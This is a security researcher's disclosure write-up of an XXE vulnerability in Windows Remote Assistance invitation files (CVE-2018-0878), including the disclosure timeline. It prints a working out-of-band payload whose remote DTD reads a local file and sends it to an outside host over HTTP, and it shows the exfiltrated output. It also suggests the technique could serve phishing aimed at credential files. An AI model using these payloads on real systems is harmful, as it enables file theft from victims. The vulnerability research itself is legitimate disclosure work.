got 0day?

Windows Remote Assistance XXE vulnerability

⠝⠁⠃⠑⠑⠇ ⠁⠓⠍⠑⠙ (Nabeel Ahmed) -

Intro

Windows Remote Assistance allows someone you trust take over your PC and fix a problem from anywhere around the world.
It relies on the Remote Desktop Protocol to establish a secure connection with the person in need.

-MSDN

Background

I stumbled upon this functionality during my research and was curious whether this functionality would allow me to abuse it in any sort of way. So let's fire up MSRA (Microsoft Remote Assistance).

It gives you 2 options:

  • Invite someone to help you
  • Respond to someone who needs help


If you selected the first option you will get a follow-up screen with another set of 2 options:

  • Save invitation to an .msrcincident file
  • Send invitation via email with the .mrcincident file as an attachment

We'll choose to save the file locally and analyze it's contents, so evidently we choose the first option.

Opening the Invitation.msrcincident file reveals XML data with a lot of parameters and values.

The password encryption flow looks as follows.

However whenever you see XML data being fed to a program you have to think about XML External Entity (XXE) vulnerabilities, in the past these vulnerabilities lead from information disclosure to RCE (see this, that and many more...)

So first I was curious which parser MSRA used to handle the invitation file. ProcessMonitor revealed the following:

It's using MSXML3 to parse the XML data so immediately I started looking for potential existing vulnerabilities related to MSXML3 in the past.
MSXML3 has had it's fair share of vulnerabilities (here), however no details were ever released about the vulnerabilities.
So let's see if the MSXML3 parser will allow me to use SYSTEM entities.

Vulnerability

The first problem is how will I confirm the existence of an XXE vulnerability if no output is shown of the requested resource.
Basic XXE payload looks something like this:

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

Whereas the result of this XML (after parsing) should be that inside the <foo> tags the content of the file passwd should be displayed.

MSRA does not show you the output of the processed XML, making it hard to validate BUT to weaponize this attack I need to be able to exfiltrate the requested data from the victim to my machine.
Therefore I need to use a technique called Out-of-Band Data Retrieval discovered by the researchers Alexey Osipov and Timur Yunusov that allow the construction of a URL with data coming from other entities.

That looks like this:

Using the same technique I modified the Invitation.msrcincident file with the following XML:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE zsl [
<!ENTITY % remote SYSTEM "http://krbtgt.pw:8080/xxe.xml">
%remote;%root;%oob;]>

On my server I create a file xxe.xml with the following XML:

<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">
<!ENTITY % root "<!ENTITY &#37; oob SYSTEM 'http://krbtgt.pw:8080/?%payload;'> ">

Opening the modified Invitation.msrcincident file with our XML XXE payload resulted in the following:

The result is the contents of C:\Windows\win.ini are sent as part of a GET request to my server. If we URL decode the GET values sent to the server we get the following:

 for 16-bit app support[fonts][extensions][mci extensions][files][Mail]MAPI=1CMCDLLNAME32=mapi32.dllCMC=1MAPIX=1MAPIXVER=1.0.0.1OLEMessaging=1

I just confirmed an XXE vulnerability affecting MSRA using the MSXML3 parser.

Conclusion

This XXE vulnerability can be genuinely used in mass scale phishing attacks targeting individuals believing they are truly helping another individual with an IT problem.
Totally unaware that the .msrcincident invitation file could potentially result in loss of sensitive information.
An attacker could target specific log/config files containing username/passwords.
GDSSecurity also made a tool to automate XXE exfiltration of multiple files by brute-forcing certain directory locations. The tool can be found here.

Timeline

  • February ‎2017: Vulnerability discovered
  • October 2017: Case opened with ZDI
  • November 2017: Vendor notified of the vulnerability
  • March 2018: Patch released & vulnerability labeled as CVE-2018-0878

Patch details can be found here.